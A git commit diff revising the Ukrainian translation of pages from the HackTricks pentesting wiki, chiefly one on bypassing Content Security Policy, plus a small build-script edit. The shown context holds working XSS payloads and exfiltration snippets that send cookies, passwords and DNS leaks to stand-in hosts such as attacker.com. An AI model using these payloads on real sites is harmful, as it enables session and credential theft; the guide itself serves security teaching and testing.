Translated ['src/generic-methodologies-and-resources/external-recon-meth

This commit is contained in:
Translator 2025-01-27 16:56:55 +00:00
parent b657937ae0
commit 485dbe7d99
3 changed files with 42 additions and 39 deletions

View File

@ -78,6 +78,9 @@ def ref(matchobj):
sys.exit(1)
if href.endswith("/README.md"):
href = href.replace("/README.md", "/index.html")
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})

View File

@ -14,6 +14,6 @@
- [**SearchCode**](https://searchcode.com/): Пошук коду у мільйонах проектів.
> [!WARNING]
> Коли ви шукаєте витоки в репозиторії та запускаєте щось на зразок `git log -p`, не забувайте, що можуть бути **інші гілки з іншими комітами**, що містять секрети!
> Коли ви шукаєте витоки в репозиторії та запускаєте щось на кшталт `git log -p`, не забувайте, що можуть бути **інші гілки з іншими комітами**, що містять секрети!
{{#include ../../banners/hacktricks-training.md}}

View File

@ -18,7 +18,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
```
### Заголовки
CSP може бути застосований або моніторинг за допомогою цих заголовків:
CSP може бути застосований або моніторений за допомогою цих заголовків:
- `Content-Security-Policy`: Застосовує CSP; браузер блокує будь-які порушення.
- `Content-Security-Policy-Report-Only`: Використовується для моніторингу; повідомляє про порушення без їх блокування. Ідеально підходить для тестування в середовищах перед випуском.
@ -40,16 +40,16 @@ object-src 'none';
### Директиви
- **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT стилями.
- **default-src**: Встановлює стандартну політику для отримання ресурсів, коли конкретні директиви отримання відсутні.
- **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли конкретні директиви отримання відсутні.
- **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
- **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Обмежує URL для фреймів.
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, та `<applet>`.
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, і `<applet>`.
- **img-src**: Визначає дозволені джерела для зображень.
- **font-src**: Вказує дійсні джерела для шрифтів, завантажених за допомогою `@font-face`.
- **manifest-src**: Визначає дозволені джерела файлів маніфесту додатка.
- **media-src**: Визначає дозволені джерела для завантаження медіа-об'єктів.
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, та `<applet>`.
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, і `<applet>`.
- **base-uri**: Вказує дозволені URL для завантаження за допомогою елементів `<base>`.
- **form-action**: Перераховує дійсні кінцеві точки для відправки форм.
- **plugin-types**: Обмежує mime-типи, які може викликати сторінка.
@ -96,7 +96,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
- `filesystem:`: Дозволяє завантаження ресурсів з файлової системи.
- `'report-sample'`: Включає зразок порушуючого коду у звіт про порушення (корисно для налагодження).
- `'strict-origin'`: Схоже на 'self', але забезпечує, щоб рівень безпеки протоколу джерел відповідав документу (тільки безпечні джерела можуть завантажувати ресурси з безпечних джерел).
- `'strict-origin-when-cross-origin'`: Надсилає повні URL-адреси при виконанні запитів з однаковим походженням, але лише надсилає походження, коли запит є крос-доменним.
- `'strict-origin-when-cross-origin'`: Надсилає повні URL-адреси при виконанні запитів з одного джерела, але лише надсилає джерело, коли запит є міждоменним.
- `'unsafe-allow-redirects'`: Дозволяє завантаження ресурсів, які негайно перенаправлять на інший ресурс. Не рекомендується, оскільки це послаблює безпеку.
## Небезпечні правила CSP
@ -105,7 +105,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Робочий payload: `"/><script>alert(1);</script>`
Робочий пейлоад: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' через Iframes
@ -120,7 +120,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Працюючий вантаж:
Працюючий payload:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
@ -132,7 +132,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Працюючий вантаж:
Працюючий payload:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
@ -155,19 +155,19 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Якщо ви можете завантажити файл JS, ви можете обійти цей CSP:
Робочий корисний вантаж:
Робочий вантаж:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволить вам **завантажити лише певні типи файлів**.
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про _**.wave**_ розширення, тому не обслуговує його з **MIME типом, як audio/\***.
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про розширення _**.wave**_, тому не обслуговує його з **MIME типом, як audio/\***.
Звідси, якщо ви знайдете XSS і завантаження файлів, і вам вдасться знайти **неправильно інтерпретоване розширення**, ви можете спробувати завантажити файл з цим розширенням і вмістом скрипта. Або, якщо сервер перевіряє правильний формат завантаженого файлу, створіть поліглот ([деякі приклади поліглотів тут](https://github.com/Polydet/polyglot-database)).
### Form-action
Якщо неможливо ввести JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
Якщо неможливо впровадити JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
### Third Party Endpoints + ('unsafe-eval')
@ -230,9 +230,9 @@ Angular XSS з імені класу:
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Зловживання JS кодом google recaptcha
#### Зловживання JS-кодом google recaptcha
Згідно з [**цією CTF статтею**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP для виконання довільного JS коду, обходячи CSP:
Згідно з [**цією CTF-статтею**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP для виконання довільного JS-коду, обходячи CSP:
```html
<div
ng-controller="CarouselController as c"
@ -262,7 +262,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Зловживання www.google.com для відкритого редиректу
Наступне URL-адреса перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
Наступний URL перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
@ -286,7 +286,7 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP кінцеві точки для обходу CSP різних вебсайтів.**
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є надійною, редиректи також вважаються надійними.
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є довіреною, редиректи також є довіреними.
### Зловживання з боку третіх осіб
@ -295,7 +295,7 @@ https://www.youtube.com/oembed?callback=alert;
| Суб'єкт | Дозволений домен | Можливості |
| ----------------- | ------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
@ -322,7 +322,7 @@ Content-Security-Policy: connect-src www.facebook.com;
5. Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника атакуючого та видаючи подію користувача, як це:
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id розробника Facebook атакуючого та видаючи таку кастомну подію:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@ -333,7 +333,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
На додаток до згаданої редирекції для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
На додаток до згаданої переадресації для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
Наприклад, якщо CSP дозволяє шлях `https://example.com/scripts/react/`, його можна обійти наступним чином:
```html
@ -345,9 +345,9 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
∑, вони декодують його, фактично запитуючи `https://example.com/scripts/react/../angular/angular.js`, що еквівалентно `https://example.com/scripts/angular/angular.js`.
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можуть бути обійдені**.
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можна обійти**.
Рішення полягає в тому, щоб не трактувати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
Рішення полягає в тому, щоб не розглядати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
Онлайн приклад:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -361,14 +361,14 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
Якщо директива **base-uri** відсутня, ви можете зловживати цим, щоб виконати [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Більше того, якщо **сторінка завантажує скрипт за допомогою відносного шляху** (як `<script src="/js/app.js">`), використовуючи **Nonce**, ви можете зловживати **base** **tag**, щоб змусити його **завантажити** скрипт з **вашого власного сервера, досягаючи XSS.**\
Більше того, якщо **сторінка завантажує скрипт за допомогою відносного шляху** (як `<script src="/js/app.js">`), використовуючи **Nonce**, ви можете зловживати **base** **tag**, щоб змусити її **завантажити** скрипт з **вашого власного сервера, досягаючи XSS.**\
Якщо вразлива сторінка завантажується з **httpS**, використовуйте httpS URL в base.
```html
<base href="https://www.attacker.com/" />
```
### AngularJS події
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є вирішальною для тактик втечі з пісочниці.
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених до ланцюга виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є ключовою для тактик втечі з пісочниці.
Спрямовуючи цей масив до фільтра `orderBy`, можна ітерувати його, використовуючи термінальний елемент (об'єкт `window`), щоб викликати глобальну функцію, таку як `alert()`. Наведений нижче фрагмент коду ілюструє цей процес:
```xml
@ -421,13 +421,13 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
```
Якщо CSP встановлено на `https://www.google.com/a/b/c/d`, оскільки враховується шлях, скрипти `/test` та `/a/test` будуть заблоковані CSP.
Однак, фінальний `http://localhost:5555/301` буде **перенаправлений на стороні сервера на `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Оскільки це перенаправлення, **шлях не враховується**, і **скрипт може бути завантажений**, таким чином обходячи обмеження шляху.
Однак, фінальний `http://localhost:5555/301` буде **перенаправлений на серверній стороні на `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Оскільки це перенаправлення, **шлях не враховується**, і **скрипт може бути завантажений**, таким чином обходячи обмеження шляху.
З цим перенаправленням, навіть якщо шлях вказано повністю, він все ще буде обійдений.
З цим перенаправленням, навіть якщо шлях вказано повністю, він все ще буде обійдено.
Отже, найкраще рішення - це забезпечити, щоб веб-сайт не мав жодних вразливостей до відкритого перенаправлення і щоб не було доменів, які можна експлуатувати в правилах CSP.
### Обхід CSP з висячою розміткою
### Обхід CSP з висячим розміткою
Читати [як тут](../dangling-markup-html-scriptless-injection/index.html).
@ -454,7 +454,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}
### Ін'єкція політики
### Впровадження політики
**Дослідження:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
@ -478,7 +478,7 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Зверніть увагу на відсутність директиви `'unsafe-inline'`\
Цього разу ви можете змусити жертву **завантажити** сторінку під **вашим контролем** через **XSS** з `<iframe`. Цього разу ви змусите жертву отримати доступ до сторінки, з якої ви хочете витягти інформацію (**CSRF**). Ви не можете отримати доступ до вмісту сторінки, але якщо якимось чином ви зможете **контролювати час, необхідний для завантаження сторінки**, ви зможете витягти потрібну інформацію.
Цього разу **прапор** буде витягнуто, коли **символ буде правильно вгадано** через SQLi, **відповідь** займає **більше часу** через функцію сну. Тоді ви зможете витягти прапор:
Цього разу **прапор** буде витягнуто, коли **символ буде правильно вгадано** через SQLi, **відповідь** займе **більше часу** через функцію сну. Тоді ви зможете витягти прапор:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -540,13 +540,13 @@ run()
```
### Via Bookmarklets
Цей напад передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
Цей напад передбачає певну соціальну інженерію, де зловмисник **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, який, потім, через **prototype pollution** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, що, в свою чергу, через **прототипне забруднення** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
Ви можете **обмежити CSP iframe** за допомогою атрибута **`csp`**:
```html
@ -554,8 +554,8 @@ run()
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** **CSP** так, що скрипт, що запобігає CSTI, був вимкнений, і тому **вразливість стала експлуатованою.**\
CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включенням конкретного вбудованого скрипту через sha**:
У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** **CSP** так, що скрипт, що запобігає CSTI, був вимкнений, і, отже, **вразливість стала експлуатованою.**\
CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включити конкретний вбудований скрипт через sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -589,7 +589,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
```
Моніторинг запитів, які блокуються або дозволяються CSP, дозволяє звузити можливі символи в секретному піддомені, врешті-решт виявивши повний URL.
Обидва методи використовують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.
Обидва методи експлуатують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.
Трюк з [**тут**](https://ctftime.org/writeup/29310).
@ -597,7 +597,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
### PHP помилки при надмірній кількості параметрів
Згідно з [**останням методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надісланий** через помилку, яку це викличе.
Згідно з [**останнім методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надісланий** через помилку, яку це викличе.
### Переповнення буфера відповіді PHP
@ -617,7 +617,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації перегляньте:
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати **об'єкт `opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації перегляньте:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
@ -634,7 +634,7 @@ SOME - це техніка, яка зловживає XSS (або сильно
### Location
Ви можете просто оновити місцезнаходження, щоб надіслати секретну інформацію на сервер атакуючого:
Ви можете просто оновити місцезнаходження, щоб надіслати на сервер атакуючого секретну інформацію:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
@ -678,7 +678,7 @@ X-DNS-Prefetch-Control: off
На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP.
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Перегляньте цей код:
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Ознайомтеся з цим кодом:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -686,7 +686,7 @@ p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
```
Інший варіант:
Ще один варіант:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
@ -700,7 +700,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
Вікно облікових даних надсилає DNS-запит до iconURL без обмежень з боку сторінки. Воно працює лише в безпечному контексті (HTTPS) або на localhost.
Вікно облікових даних надсилає DNS-запит до iconURL, не підлягаючи обмеженням сторінки. Воно працює лише в безпечному контексті (HTTPS) або на localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({